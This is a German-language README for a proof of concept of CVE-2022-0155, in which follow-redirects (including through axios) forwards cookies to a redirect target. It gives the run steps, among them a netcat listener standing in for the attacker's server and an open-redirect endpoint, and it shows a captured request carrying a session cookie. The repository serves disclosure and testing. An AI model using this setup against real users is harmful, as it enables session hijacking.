
Proof-of-Concept, der CVE-2022-0155 Cookie-Diebstahl über HTTP-Weiterleitung im npm-Paket follow-redirects demonstriert, einschließlich Express-Server- und Client-Skripten zum Testen von Angriffen auf transitive Abhängigkeiten.
Dieses Repository enthält eine Demonstration der CVE-2022-0155-Sicherheitslücke.
Die Sicherheitslücke wurde von ranjit-git entdeckt und wird hier ausführlich beschrieben.
Der Zweck dieses PoC ist es zu zeigen, dass die Sicherheitslücke nicht nur in Szenarien auftritt, in denen follow-redirects als direkte Abhängigkeit verwendet wird, sondern auch dann, wenn follow-redirects als indirekte/transitive Abhängigkeit über axios genutzt wird.
Die Sicherheitslücke betrifft das npm-Paket follow-redirects vor Version 1.14.7. Follow-redirects erweitert das eingebaute HTTP-Modul um die Fähigkeit, Weiterleitungen zu folgen.
Um die Sicherheitslücke zu demonstrieren, betrachten wir das folgende Szenario:
Die Sicherheitslücke liegt in Schritt 3, bei dem die anfälligen Versionen von follow-redirects dieselben -Header wie die Anfrage in Schritt 1 enthalten. Dadurch kann beispielsweise die Sitzungs-ID des Benutzers auf stehlen und auf die Daten des Benutzers zugreifen.
CookieDer Angriff hängt davon ab, ob der Angreifer die Weiterleitung zu https://attackers-webserver.com kontrollieren kann.
Im PoC wird ein Express-Server verwendet, um das Verhalten von https://example.com nachzubilden.
Der Server verfügt über einen einzelnen GET-API-Endpunkt '/redirect', der den Client zu der als Parameter übergebenen URL weiterleitet.
Dies simuliert ein Szenario, in dem der Angreifer die URL steuern kann, zu der der Client weitergeleitet wird.
npm install
node express-server.js
nc -l -v 8182 # oder nc -lnvp 8182 auf Nicht-Mac-Systemen
node client.js
In dem Terminal, das nc ausführt, sollte die folgende Ausgabe erscheinen:
GET / HTTP/1.1
Accept: application/json, text/plain, */*
Cookie: session=some-secret-value
User-Agent: axios/0.21.4
Host: localhost:8182
Connection: keep-alive
Die Sicherheitslücke wird durch das Vorhandensein des Cookie-Headers im nc-Terminal veranschaulicht, da der nc-Server (Netcat) den Webserver des Angreifers repräsentiert.